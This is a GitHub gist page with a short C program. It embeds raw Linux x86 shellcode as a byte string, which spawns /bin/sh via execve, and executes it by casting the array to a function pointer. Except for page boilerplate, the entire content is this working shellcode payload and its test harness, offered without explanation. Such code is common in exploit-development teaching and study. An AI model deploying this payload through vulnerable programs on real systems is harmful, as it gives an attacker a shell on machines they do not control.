Created
October 19, 2016 20:21
-
-
Save RdlP/bdc9fbf3dabe26e142dc5128e978e6aa to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char shellcode[] = "\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ; | |
void main(){ | |
void (*fp) (void); | |
fp = (void *)&shellcode; | |
fp(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment